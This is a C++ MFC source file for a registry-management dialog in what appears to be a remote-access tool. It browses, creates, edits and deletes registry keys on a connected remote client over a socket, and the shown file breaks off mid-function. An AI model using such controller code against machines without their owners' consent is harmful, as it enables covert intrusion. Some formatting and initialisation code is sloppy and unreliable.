971 lines
24 KiB
C++
971 lines
24 KiB
C++
// RegeditDlg.cpp : implementation file
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "Client.h"
|
||
#include "RegeditDlg.h"
|
||
#include "InputDlg.h"
|
||
#include "RegeditTextDlg.h"
|
||
#ifdef _DEBUG
|
||
#define new DEBUG_NEW
|
||
#undef THIS_FILE
|
||
static char THIS_FILE[] = __FILE__;
|
||
#endif
|
||
|
||
extern CString strHost;
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CRegeditDlg dialog
|
||
LPCTSTR CRegeditDlg::m_strComputer = TEXT("我的电脑");
|
||
LPCTSTR CRegeditDlg::m_strDefault = TEXT("预设的子键名,如果你看到了这个键,就说明程序运行出错了!");
|
||
|
||
static UINT indicators[] =
|
||
{
|
||
ID_SEPARATOR
|
||
};
|
||
|
||
CRegeditDlg::CRegeditDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||
: CDialog(CRegeditDlg::IDD, pParent)
|
||
{
|
||
//{{AFX_DATA_INIT(CRegeditDlg)
|
||
// NOTE: the ClassWizard will add member initialization here
|
||
//}}AFX_DATA_INIT
|
||
m_iocpServer = pIOCPServer;
|
||
m_pContext = pContext;
|
||
|
||
isEnable = true;
|
||
nFlag = 0;
|
||
isEdit = false;
|
||
|
||
// 设置窗口图标
|
||
m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_REGEDIT), IMAGE_ICON, 20, 20, 0);
|
||
|
||
sockaddr_in sockAddr;
|
||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||
int nSockAddrLen = sizeof(sockAddr);
|
||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||
|
||
}
|
||
|
||
|
||
void CRegeditDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
CDialog::DoDataExchange(pDX);
|
||
//{{AFX_DATA_MAP(CRegeditDlg)
|
||
DDX_Control(pDX, IDC_LIST, m_list);
|
||
DDX_Control(pDX, IDC_TREE, m_tree);
|
||
//}}AFX_DATA_MAP
|
||
}
|
||
|
||
|
||
BEGIN_MESSAGE_MAP(CRegeditDlg, CDialog)
|
||
//{{AFX_MSG_MAP(CRegeditDlg)
|
||
ON_WM_SIZE()
|
||
ON_WM_CLOSE()
|
||
ON_NOTIFY(NM_RCLICK, IDC_TREE, OnRclickTree)
|
||
ON_NOTIFY(TVN_ITEMEXPANDING, IDC_TREE, OnItemexpandingTree)
|
||
ON_NOTIFY(TVN_SELCHANGED, IDC_TREE, OnSelchangedTree)
|
||
ON_COMMAND(ID_MENUITEM_TREE_NEW, OnMenuitemTreeNew)
|
||
ON_COMMAND(ID_MENUITEM_TREE_DEL, OnMenuitemTreeDel)
|
||
ON_COMMAND(ID_MENUITEM_REGEXIT, OnMenuitemRegexit)
|
||
ON_NOTIFY(NM_DBLCLK, IDC_LIST, OnDblclkList)
|
||
ON_COMMAND(ID_MENUITEM_REG_EDIT, OnMenuitemRegEdit)
|
||
ON_COMMAND(ID_MENUITEM_REG_STR, OnMenuitemRegStr)
|
||
ON_COMMAND(ID_MENUITEM_REG_DWORD, OnMenuitemRegDword)
|
||
ON_COMMAND(ID_MENUITEM_EXSTR, OnMenuitemExstr)
|
||
ON_NOTIFY(NM_RCLICK, IDC_LIST, OnRclickList)
|
||
ON_COMMAND(ID_MENUITEM_REG_DEL, OnMenuitemRegDel)
|
||
ON_COMMAND(ID_MENUITEM_TREE_COPYNAME, OnMenuitemTreeCopyname)
|
||
//}}AFX_MSG_MAP
|
||
END_MESSAGE_MAP()
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CRegeditDlg message handlers
|
||
|
||
void CRegeditDlg::OnSize(UINT nType, int cx, int cy)
|
||
{
|
||
CDialog::OnSize(nType, cx, cy);
|
||
|
||
// TODO: Add your message handler code here
|
||
if(m_list.m_hWnd==NULL)return;
|
||
if(m_tree.m_hWnd==NULL)return;
|
||
|
||
|
||
CRect rect;
|
||
GetDlgItem(IDC_TREE)->GetWindowRect(&rect);
|
||
|
||
CRect treeRec,listRec;
|
||
treeRec.top=treeRec.left=0;
|
||
treeRec.right=rect.Width();
|
||
treeRec.bottom=cy-20;
|
||
m_tree.MoveWindow(treeRec);
|
||
|
||
listRec.top=0;
|
||
listRec.left =treeRec.right+3;
|
||
listRec.right=cx;
|
||
listRec.bottom=cy-20;
|
||
m_list.MoveWindow(listRec);
|
||
|
||
if(m_wndStatusBar.m_hWnd!=NULL)
|
||
{
|
||
CRect rc;
|
||
rc.top=cy-20;
|
||
rc.left=0;
|
||
rc.right=cx;
|
||
rc.bottom=cy;
|
||
m_wndStatusBar.MoveWindow(rc);
|
||
}
|
||
}
|
||
|
||
void CRegeditDlg::OnClose()
|
||
{
|
||
// TODO: Add your message handler code here and/or call default
|
||
closesocket(m_pContext->m_Socket);
|
||
|
||
CDialog::OnClose();
|
||
}
|
||
|
||
BOOL CRegeditDlg::OnInitDialog()
|
||
{
|
||
CDialog::OnInitDialog();
|
||
|
||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||
// TODO: Add extra initialization here
|
||
// 设置标题
|
||
CString str;
|
||
str.Format(_T("[%s - %s] 注册表管理"), strHost,m_IPAddress);
|
||
// str.Format("远程注册表 \\\\%s", m_IPAddress);
|
||
SetWindowText(str);
|
||
|
||
// 创建状态栏
|
||
if (!m_wndStatusBar.Create(this) ||
|
||
!m_wndStatusBar.SetIndicators(indicators,
|
||
sizeof(indicators)/sizeof(UINT)))
|
||
{
|
||
TRACE0("Failed to create status bar\n");
|
||
return FALSE; // fail to create
|
||
}
|
||
m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH, NULL);
|
||
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示状态栏
|
||
|
||
// 创建list
|
||
m_list.ModifyStyle(0, LVS_REPORT);
|
||
m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||
HICON listicon[2];
|
||
listicon[0]=AfxGetApp()->LoadIcon(IDI_ICON5);
|
||
listicon[1]=AfxGetApp()->LoadIcon(IDI_ICON6);
|
||
m_ImageList.Create(16,16,ILC_COLOR4|ILC_MASK,2,2); //16,16为图标分辩率,2,2为该list最多能容纳的图标数
|
||
for(int i=0 ; i<2 ; ++i)
|
||
m_ImageList.Add(listicon[i]); //读入图标
|
||
m_list.SetImageList(&m_ImageList,LVSIL_SMALL);
|
||
m_list.InsertColumn(0,TEXT("名称"),LVCFMT_LEFT,180);
|
||
m_list.InsertColumn(1,TEXT("类型"),LVCFMT_LEFT,150);
|
||
m_list.InsertColumn(2,TEXT("数据"),LVCFMT_LEFT,350);
|
||
|
||
|
||
// 树形
|
||
HICON treeicon[4];
|
||
treeicon[0]=AfxGetApp()->LoadIcon(IDI_ICON1);
|
||
treeicon[1]=AfxGetApp()->LoadIcon(IDI_ICON2);
|
||
treeicon[2]=AfxGetApp()->LoadIcon(IDI_ICON3);
|
||
treeicon[3]=AfxGetApp()->LoadIcon(IDI_ICON4);
|
||
|
||
m_ImageTree.Create(16,16,ILC_COLOR4|ILC_MASK,4,4); //16,16为图标分辩率,4,4为该list最多能容纳的图标数
|
||
for(int n=0 ; n<4 ; ++n)
|
||
m_ImageTree.Add(treeicon[n]); //读入图标
|
||
m_tree.SetImageList(&m_ImageTree,TVSIL_NORMAL);
|
||
|
||
m_hRoot = m_tree.InsertItem(m_strComputer,0,1);
|
||
|
||
HTREEITEM HKCR=m_tree.InsertItem("HKEY_CLASSES_ROOT",2,3,m_hRoot);
|
||
m_tree.InsertItem(m_strDefault,2,3,HKCR);//为了提高运行效率,随便插入一个先
|
||
|
||
HTREEITEM HKCU=m_tree.InsertItem("HKEY_CURRENT_USER",2,3,m_hRoot);
|
||
m_tree.InsertItem(m_strDefault,2,3,HKCU);//为了提高运行效率,随便插入一个先
|
||
|
||
HTREEITEM HKLM=m_tree.InsertItem("HKEY_LOCAL_MACHINE",2,3,m_hRoot);
|
||
m_tree.InsertItem(m_strDefault,2,3,HKLM);//为了提高运行效率,随便插入一个先
|
||
|
||
HTREEITEM HKUS=m_tree.InsertItem("HKEY_USERS",2,3,m_hRoot);
|
||
m_tree.InsertItem(m_strDefault,2,3,HKUS);//为了提高运行效率,随便插入一个先
|
||
|
||
HTREEITEM HKCC=m_tree.InsertItem("HKEY_CURRENT_CONFIG",2,3,m_hRoot);
|
||
m_tree.InsertItem(m_strDefault,2,3,HKCC);//为了提高运行效率,随便插入一个先
|
||
|
||
m_tree.Expand(m_hRoot,TVE_EXPAND);
|
||
|
||
|
||
// HWND hWndHeader = m_list.GetDlgItem(0)->GetSafeHwnd();
|
||
// m_heades.SubclassWindow(hWndHeader);
|
||
// m_heades.SetTheme(new CXTHeaderCtrlThemeOffice2003());
|
||
// m_heades.EnablePopupMenus(FALSE);
|
||
EnableControls(FALSE);
|
||
ModifyDrawStyle(XTTHEME_WINXPTHEMES, 4);
|
||
ModifyDrawStyle(HDR_XTP_HOTTRACKING, TRUE);
|
||
ModifyDrawStyle(XTTHEME_HOTTRACKING, TRUE);
|
||
|
||
return TRUE; // return TRUE unless you set the focus to a control
|
||
// EXCEPTION: OCX Property Pages should return FALSE
|
||
}
|
||
|
||
void CRegeditDlg::ModifyDrawStyle(UINT uFlag, BOOL bRemove)
|
||
{
|
||
CXTHeaderCtrlTheme* pTheme = m_heades.GetTheme();
|
||
if (pTheme)
|
||
{
|
||
DWORD dwStyle = pTheme->GetDrawStyle() & ~uFlag;
|
||
|
||
if (bRemove)
|
||
dwStyle |= uFlag;
|
||
|
||
pTheme->SetDrawStyle(dwStyle, &m_heades);
|
||
m_heades.RedrawWindow();
|
||
}
|
||
}
|
||
|
||
void CRegeditDlg::EnableControls(BOOL bRedraw)
|
||
{
|
||
XTOSVersionInfo()->IsWinXPOrGreater();
|
||
XTOSVersionInfo()->IsWinXPOrGreater();
|
||
|
||
if (bRedraw)
|
||
{
|
||
RedrawWindow(NULL, NULL, RDW_INVALIDATE|RDW_UPDATENOW|RDW_ERASE|RDW_ALLCHILDREN);
|
||
}
|
||
}
|
||
|
||
void CRegeditDlg::OnReceiveComplete()
|
||
{
|
||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||
{
|
||
case TOKEN_REG_INFO:
|
||
AddToTree((char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)));
|
||
break;
|
||
case TOKEN_REG_KEY:
|
||
AddToList((char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)));
|
||
break;
|
||
case TOKEN_REG_ERROR:
|
||
isEdit=false;
|
||
break;
|
||
case TOKEN_REG_SUCCEED:
|
||
ShowSucceed();
|
||
isEdit=false;
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
EnableCursor(true);
|
||
}
|
||
|
||
DWORD atod(char *ch)
|
||
{
|
||
int len=strlen(ch);
|
||
DWORD d=0;
|
||
for(int i=0;i<len;i++){
|
||
int t=ch[i]-48; //这位上的数字
|
||
if(ch[i]>57||ch[i]<48){ //不是数字
|
||
return d;
|
||
}
|
||
d*=10;
|
||
d+=t;
|
||
}
|
||
return d;
|
||
}
|
||
void CRegeditDlg::ShowSucceed()
|
||
{
|
||
switch(nFlag)
|
||
{
|
||
case 1:
|
||
while(m_tree.GetChildItem(SelectNode)!=NULL)
|
||
{
|
||
m_tree.DeleteItem(m_tree.GetChildItem(SelectNode)); //删除 会产生 OnSelchangingTree事件 ***
|
||
}
|
||
m_tree.DeleteItem(SelectNode);
|
||
break;
|
||
case 2:
|
||
m_tree.InsertItem(strPath,2,3,SelectNode,0);//插入子键名称
|
||
m_tree.Expand(SelectNode,TVE_EXPAND);
|
||
strPath="";
|
||
break;
|
||
case 3:
|
||
m_list.DeleteItem(index);
|
||
index=0;
|
||
break;
|
||
case 4:
|
||
{
|
||
|
||
int nitem;
|
||
DWORD d;
|
||
char ValueDate[256];
|
||
CString value;
|
||
ZeroMemory(ValueDate,256);
|
||
switch(type)
|
||
{
|
||
case MREG_SZ: //加了字串
|
||
nitem=m_list.InsertItem(0,Key,0);
|
||
m_list.SetItemText(nitem,1,"REG_SZ");
|
||
m_list.SetItemText(nitem,2,Value);
|
||
break;
|
||
case MREG_DWORD: //加了DWORD
|
||
d=atod(Value.GetBuffer(0));
|
||
value.Format("0x%x",d);
|
||
sprintf(ValueDate," (%wd)",d);
|
||
value+=" ";
|
||
value+=ValueDate;
|
||
nitem=m_list.InsertItem(0,Key,1);
|
||
m_list.SetItemText(nitem,1,"REG_DWORD");
|
||
m_list.SetItemText(nitem,2,value);
|
||
break;
|
||
case MREG_EXPAND_SZ:
|
||
nitem=m_list.InsertItem(0,Key,0);
|
||
m_list.SetItemText(nitem,1,"REG_EXPAND_SZ");
|
||
m_list.SetItemText(nitem,2,Value);
|
||
break;
|
||
|
||
default:
|
||
break;
|
||
}
|
||
|
||
}
|
||
break;
|
||
case 5:
|
||
{
|
||
DWORD d;
|
||
char ValueDate[256];
|
||
CString value;
|
||
ZeroMemory(ValueDate,256);
|
||
switch(type){
|
||
case MREG_SZ: //加了字串
|
||
|
||
m_list.SetItemText(index,2,Value);
|
||
break;
|
||
case MREG_DWORD: //加了DWORD
|
||
d=atod(Value.GetBuffer(0));
|
||
value.Format("0x%x",d);
|
||
sprintf(ValueDate," (%wd)",d);
|
||
value+=" ";
|
||
value+=ValueDate;
|
||
m_list.SetItemText(index,2,value);
|
||
break;
|
||
case MREG_EXPAND_SZ:
|
||
m_list.SetItemText(index,2,Value);
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
nFlag=0;
|
||
}
|
||
|
||
struct REGMSG
|
||
{
|
||
int count; //名字个数
|
||
DWORD size; //名字大小
|
||
DWORD valsize; //值大小
|
||
};
|
||
void CRegeditDlg::AddToList(char *lpBuffer)
|
||
{
|
||
m_list.DeleteAllItems();
|
||
|
||
if(lpBuffer==NULL)
|
||
return;
|
||
|
||
REGMSG msg;
|
||
memcpy((void*)&msg,lpBuffer,sizeof(msg));
|
||
char* tmp=lpBuffer+sizeof(msg);
|
||
for(int i=0;i<msg.count;i++)
|
||
{
|
||
BYTE Type=tmp[0]; //取出标志头
|
||
tmp+=sizeof(BYTE);
|
||
char* szValueName=tmp; //取出名字
|
||
tmp+=msg.size;
|
||
BYTE* szValueDate=(BYTE*)tmp; //取出值
|
||
tmp+=msg.valsize;
|
||
if(Type==MREG_SZ)
|
||
{
|
||
if (strlen(szValueName) == 0)
|
||
{
|
||
szValueName = "默认";
|
||
}
|
||
int nitem=m_list.InsertItem(0,szValueName,0);
|
||
m_list.SetItemText(nitem,1,"REG_SZ");
|
||
m_list.SetItemText(nitem,2,(char*)szValueDate);
|
||
}
|
||
if(Type==MREG_DWORD)
|
||
{
|
||
char ValueDate[256];
|
||
DWORD d=(DWORD)szValueDate;
|
||
memcpy((void*)&d,szValueDate,sizeof(DWORD));
|
||
CString value;
|
||
value.Format("0x%x",d);
|
||
sprintf(ValueDate," (%wd)",d);
|
||
value+=" ";
|
||
value+=ValueDate;
|
||
int nitem=m_list.InsertItem(0,szValueName,1);
|
||
m_list.SetItemText(nitem,1,"REG_DWORD");
|
||
m_list.SetItemText(nitem,2,value);
|
||
|
||
}
|
||
if(Type==MREG_BINARY)
|
||
{
|
||
char ValueDate[256];
|
||
sprintf(ValueDate,"%wd",szValueDate);
|
||
|
||
int nitem=m_list.InsertItem(0,szValueName,1);
|
||
m_list.SetItemText(nitem,1,"REG_BINARY");
|
||
m_list.SetItemText(nitem,2,ValueDate);
|
||
}
|
||
if(Type==MREG_EXPAND_SZ)
|
||
{
|
||
int nitem=m_list.InsertItem(0,szValueName,0);
|
||
m_list.SetItemText(nitem,1,"REG_EXPAND_SZ");
|
||
m_list.SetItemText(nitem,2,(char*)szValueDate);
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
void CRegeditDlg::AddToTree(char *lpBuffer)
|
||
{
|
||
if(lpBuffer==NULL)
|
||
return;
|
||
int msgsize=sizeof(REGMSG);
|
||
REGMSG msg;
|
||
memcpy((void*)&msg,lpBuffer,msgsize);
|
||
DWORD size =msg.size;
|
||
int count=msg.count;
|
||
|
||
|
||
if(size>0&&count>0)
|
||
{
|
||
for(int i=0;i<count;i++)
|
||
{
|
||
BOOL bRet = FALSE;
|
||
memcpy(&bRet,lpBuffer+size*i+msgsize , sizeof(BOOL));
|
||
|
||
|
||
char* szKeyName=lpBuffer+size*i+msgsize + sizeof(BOOL);
|
||
|
||
HTREEITEM hItemChild = m_tree.InsertItem(szKeyName,2,3,SelectNode,0);//插入子键名称
|
||
m_tree.Expand(SelectNode,TVE_EXPAND);
|
||
if(bRet)
|
||
{
|
||
/*
|
||
ps 此处路径枚举有问题 需要进一步排查
|
||
*/
|
||
m_tree.InsertItem(m_strDefault,2,3,hItemChild);//返回值不需要
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
void CRegeditDlg::OnRclickTree(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
if(!isEnable) return;
|
||
|
||
CPoint point;
|
||
GetCursorPos(&point);
|
||
m_tree.ScreenToClient(&point);
|
||
UINT uFlags;
|
||
HTREEITEM hItem = m_tree.HitTest(point, &uFlags);
|
||
|
||
if ((hItem != NULL) && (TVHT_ONITEM & uFlags))
|
||
{
|
||
if(hItem== m_hRoot)
|
||
{
|
||
return;
|
||
}
|
||
|
||
SelectNode=hItem;
|
||
m_tree.Select(hItem, TVGN_CARET);
|
||
CMenu popup;
|
||
popup.LoadMenu(IDR_MENU_REGEDIT_TREE);
|
||
CMenu* pM = popup.GetSubMenu(0);
|
||
CPoint p;
|
||
GetCursorPos(&p);
|
||
|
||
// pM->TrackPopupMenu(TPM_LEFTALIGN,p.x,p.y,this);
|
||
CXTPCommandBars::TrackPopupMenu(pM,TPM_RIGHTBUTTON,p.x,p.y,this);
|
||
}
|
||
|
||
*pResult = 0;
|
||
}
|
||
|
||
void CRegeditDlg::GetRegTree(NM_TREEVIEW* pNMTreeView)
|
||
{
|
||
if(!isEnable) return;
|
||
TVITEM item = pNMTreeView->itemNew;
|
||
if(item.hItem == m_hRoot)
|
||
{
|
||
TRACE("根目录 不展开");
|
||
return;
|
||
}
|
||
SelectNode=item.hItem; //保存用户打开的子树节点句柄
|
||
|
||
// list重置
|
||
m_list.DeleteAllItems();
|
||
|
||
CString FullPath=GetFullPath(SelectNode);
|
||
m_wndStatusBar.SetPaneText(0,FullPath);
|
||
|
||
// 删除节点下的数据
|
||
while(m_tree.GetChildItem(item.hItem)!=NULL)
|
||
{
|
||
m_tree.DeleteItem(m_tree.GetChildItem(item.hItem)); //删除 会产生 OnSelchangingTree事件 ***
|
||
}
|
||
|
||
BYTE bToken=GetFatherPath(FullPath);
|
||
|
||
// 加一个默认键
|
||
int nitem=m_list.InsertItem(0,"(默认)",0);
|
||
m_list.SetItemText(nitem,1,"REG_SZ");
|
||
m_list.SetItemText(nitem,2,"(数值未设置)");
|
||
|
||
FullPath.Insert(0,bToken);//插入 那个根键
|
||
bToken=COMMAND_REG_ENUM;
|
||
FullPath.Insert(0,bToken); //插入查询命令
|
||
EnableCursor(false);
|
||
|
||
m_iocpServer->Send(m_pContext, (LPBYTE)(FullPath.GetBuffer(0)), FullPath.GetLength()+1);
|
||
}
|
||
|
||
|
||
CString CRegeditDlg::GetFullPath(HTREEITEM hCurrent)
|
||
{
|
||
CString strTemp;
|
||
CString strReturn = "";
|
||
while(1)
|
||
{
|
||
if(hCurrent==m_hRoot) return strReturn;
|
||
strTemp = m_tree.GetItemText(hCurrent); //得到当前的
|
||
if(strTemp.Right(1) != "\\")
|
||
strTemp += "\\";
|
||
strReturn = strTemp + strReturn;
|
||
hCurrent = m_tree.GetParentItem(hCurrent); //得到父的
|
||
|
||
}
|
||
return strReturn;
|
||
}
|
||
|
||
BYTE CRegeditDlg::GetFatherPath(CString &FullPath)
|
||
{
|
||
BYTE bToken;
|
||
if(!FullPath.Find("HKEY_CLASSES_ROOT")) //判断主键
|
||
{
|
||
//MKEY=HKEY_CLASSES_ROOT;
|
||
bToken=MHKEY_CLASSES_ROOT;
|
||
FullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
|
||
}else if(!FullPath.Find("HKEY_CURRENT_USER"))
|
||
{
|
||
bToken=MHKEY_CURRENT_USER;
|
||
FullPath.Delete(0,sizeof("HKEY_CURRENT_USER"));
|
||
|
||
}else if(!FullPath.Find("HKEY_LOCAL_MACHINE"))
|
||
{
|
||
bToken=MHKEY_LOCAL_MACHINE;
|
||
FullPath.Delete(0,sizeof("HKEY_LOCAL_MACHINE"));
|
||
|
||
}else if(!FullPath.Find("HKEY_USERS"))
|
||
{
|
||
bToken=MHKEY_USERS;
|
||
FullPath.Delete(0,sizeof("HKEY_USERS"));
|
||
|
||
}else if(!FullPath.Find("HKEY_CURRENT_CONFIG"))
|
||
{
|
||
bToken=MHKEY_CURRENT_CONFIG;
|
||
FullPath.Delete(0,sizeof("HKEY_CURRENT_CONFIG"));
|
||
}
|
||
return bToken;
|
||
}
|
||
|
||
|
||
void CRegeditDlg::OnItemexpandingTree(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
NM_TREEVIEW* pNMTreeView = (NM_TREEVIEW*)pNMHDR;
|
||
// TODO: Add your control notification handler code here
|
||
|
||
if (pNMTreeView->action == TVE_COLLAPSE)
|
||
{
|
||
return;
|
||
}
|
||
|
||
GetRegTree(pNMTreeView);
|
||
|
||
*pResult = 0;
|
||
}
|
||
|
||
void CRegeditDlg::EnableCursor(bool bEnable)
|
||
{
|
||
if(bEnable)
|
||
{
|
||
isEnable=true;
|
||
::SetCursor(::LoadCursor(NULL,IDC_ARROW));
|
||
}else
|
||
{
|
||
isEnable=false;
|
||
::SetCursor(LoadCursor(NULL, IDC_WAIT));
|
||
}
|
||
}
|
||
|
||
void CRegeditDlg::PostNcDestroy()
|
||
{
|
||
// TODO: Add your specialized code here and/or call the base class
|
||
delete this;
|
||
CDialog::PostNcDestroy();
|
||
}
|
||
|
||
void CRegeditDlg::OnSelchangedTree(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
NM_TREEVIEW* pNMTreeView = (NM_TREEVIEW*)pNMHDR;
|
||
// TODO: Add your control notification handler code here
|
||
GetRegTree(pNMTreeView);
|
||
|
||
*pResult = 0;
|
||
}
|
||
|
||
void CRegeditDlg::OnMenuitemTreeNew()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
CInputDialog dlg;
|
||
dlg.Init("新建子键", _T("请输入要创建的子键名称:"), this);
|
||
if (dlg.DoModal() != IDOK)
|
||
return;
|
||
|
||
CString FullPath=GetFullPath(SelectNode); //得到全路径
|
||
FullPath+=dlg.m_str;
|
||
BYTE bToken=GetFatherPath(FullPath);
|
||
|
||
FullPath.Insert(0,bToken);//插入 那个根键
|
||
bToken=COMMAND_REG_CREATEKEY;
|
||
FullPath.Insert(0,bToken); //插入查询命令
|
||
|
||
nFlag = 2 ;
|
||
strPath=dlg.m_str;
|
||
|
||
EnableCursor(false);
|
||
|
||
m_iocpServer->Send(m_pContext, (LPBYTE)(FullPath.GetBuffer(0)), FullPath.GetLength()+1);
|
||
}
|
||
|
||
void CRegeditDlg::OnMenuitemTreeDel()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
CString FullPath=GetFullPath(SelectNode); //得到全路径
|
||
|
||
|
||
if (MessageBox("确定删除 " + FullPath +"键吗", "提示", MB_YESNO | MB_ICONQUESTION) == IDNO)
|
||
return;
|
||
BYTE bToken=GetFatherPath(FullPath);
|
||
|
||
FullPath.Insert(0,bToken);//插入 那个根键
|
||
bToken=COMMAND_REG_DELKEY;
|
||
FullPath.Insert(0,bToken); //插入查询命令
|
||
nFlag=1;
|
||
|
||
EnableCursor(false);
|
||
|
||
m_iocpServer->Send(m_pContext, (LPBYTE)(FullPath.GetBuffer(0)), FullPath.GetLength()+1);
|
||
}
|
||
|
||
void CRegeditDlg::OnMenuitemRegexit()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
SendMessage(WM_CLOSE,0,0);
|
||
}
|
||
|
||
BYTE CRegeditDlg::GetEditType(int index)
|
||
{
|
||
if(index < 0) return 100;
|
||
CString strType=m_list.GetItemText(index,1); //得到类型
|
||
if(strType=="REG_SZ")
|
||
return MREG_SZ;
|
||
else if(strType=="REG_DWORD")
|
||
return MREG_DWORD;
|
||
else if(strType=="REG_EXPAND_SZ")
|
||
return MREG_EXPAND_SZ;
|
||
else
|
||
return 100;
|
||
}
|
||
|
||
// 双击list
|
||
void CRegeditDlg::OnDblclkList(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
|
||
OnMenuitemRegEdit();
|
||
|
||
*pResult = 0;
|
||
}
|
||
|
||
void CRegeditDlg::OnMenuitemRegEdit()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
int index=m_list.GetSelectionMark();
|
||
if(index<0)return;
|
||
BYTE bType=GetEditType(index);
|
||
|
||
switch(bType)
|
||
{
|
||
case MREG_SZ:
|
||
isEdit=true; //变为可编辑状态
|
||
Key=m_list.GetItemText(index,0); //得到名
|
||
Value=m_list.GetItemText(index,2); //得到值
|
||
OnMenuitemRegStr();
|
||
nFlag=5;
|
||
this->index=index;
|
||
break;
|
||
case MREG_DWORD:
|
||
Key=m_list.GetItemText(index,0); //得到名
|
||
Value.Format("%s",m_list.GetItemText(index,2)); //得到值
|
||
Value.Delete(0,Value.Find('(')+1); // 去掉括号
|
||
Value.Delete(Value.GetLength()-1); //
|
||
isEdit=true; //变为可编辑状态
|
||
OnMenuitemRegDword();
|
||
nFlag=5;
|
||
this->index=index;
|
||
break;
|
||
case MREG_EXPAND_SZ:
|
||
isEdit=true; //变为可编辑状态
|
||
Key=m_list.GetItemText(index,0); //得到名
|
||
Value=m_list.GetItemText(index,2); //得到值
|
||
OnMenuitemExstr();
|
||
nFlag=5;
|
||
this->index=index;
|
||
break;
|
||
default:
|
||
break;
|
||
|
||
}
|
||
}
|
||
|
||
void CRegeditDlg::OnMenuitemRegStr()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
CRegeditTextDlg dlg(this);
|
||
if(isEdit)
|
||
{ //是编辑
|
||
dlg.m_strName=Key;
|
||
dlg.m_strValue=Value;
|
||
dlg.EPath=true;
|
||
}
|
||
|
||
dlg.DoModal();
|
||
if(dlg.isOK)
|
||
{
|
||
CString FullPath=GetFullPath(SelectNode); //得到全路径
|
||
char bToken=GetFatherPath(FullPath);
|
||
DWORD size=1+1+1+sizeof(REGMSG)+FullPath.GetLength()+dlg.m_strName.GetLength()+dlg.m_strValue.GetLength()+6;
|
||
char* buf=new char[size];
|
||
ZeroMemory(buf,size);
|
||
|
||
REGMSG msg;
|
||
msg.count=FullPath.GetLength(); //项大小
|
||
msg.size=dlg.m_strName.GetLength(); //键大小
|
||
msg.valsize=dlg.m_strValue.GetLength(); //数据大小
|
||
|
||
buf[0]= COMMAND_REG_CREATKEY; //数据头
|
||
buf[1]=MREG_SZ; //值类型
|
||
buf[2]=bToken; //父键
|
||
memcpy(buf+3,(void*)&msg,sizeof(msg)); //数据头
|
||
char* tmp=buf+3+sizeof(msg);
|
||
if(msg.count>0)
|
||
memcpy(tmp,FullPath.GetBuffer(0),msg.count); //项
|
||
tmp+=msg.count;
|
||
memcpy(tmp,dlg.m_strName.GetBuffer(0),msg.size); //键名
|
||
tmp+=msg.size;
|
||
memcpy(tmp,dlg.m_strValue.GetBuffer(0),msg.valsize); //值
|
||
tmp=buf+3+sizeof(msg);
|
||
|
||
// 善后
|
||
type=MREG_SZ;
|
||
nFlag=4;
|
||
Key=dlg.m_strName;
|
||
Value=dlg.m_strValue;
|
||
//
|
||
m_iocpServer->Send(m_pContext, (LPBYTE)(buf), size);
|
||
delete[] buf;
|
||
}
|
||
}
|
||
|
||
void CRegeditDlg::OnMenuitemRegDword()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
CRegeditTextDlg dlg(this);
|
||
dlg.isDWORD=true;
|
||
if(isEdit)
|
||
{ //是编辑
|
||
dlg.m_strName=Key;
|
||
dlg.m_strValue=Value;
|
||
dlg.EPath=true;
|
||
|
||
}
|
||
dlg.DoModal();
|
||
if(dlg.isOK)
|
||
{
|
||
CString FullPath=GetFullPath(SelectNode); //得到全路径
|
||
char bToken=GetFatherPath(FullPath);
|
||
DWORD size=1+1+1+sizeof(REGMSG)+FullPath.GetLength()+dlg.m_strName.GetLength()+dlg.m_strValue.GetLength()+6;
|
||
char* buf=new char[size];
|
||
ZeroMemory(buf,size);
|
||
|
||
REGMSG msg;
|
||
msg.count=FullPath.GetLength(); //项大小
|
||
msg.size=dlg.m_strName.GetLength(); //键大小
|
||
msg.valsize=dlg.m_strValue.GetLength(); //数据大小
|
||
|
||
buf[0]= COMMAND_REG_CREATKEY; //数据头
|
||
buf[1]=MREG_DWORD; //值类型
|
||
buf[2]=bToken; //父键
|
||
memcpy(buf+3,(void*)&msg,sizeof(msg)); //数据头
|
||
char* tmp=buf+3+sizeof(msg);
|
||
if(msg.count>0)
|
||
memcpy(tmp,FullPath.GetBuffer(0),msg.count); //项
|
||
tmp+=msg.count;
|
||
memcpy(tmp,dlg.m_strName.GetBuffer(0),msg.size); //键名
|
||
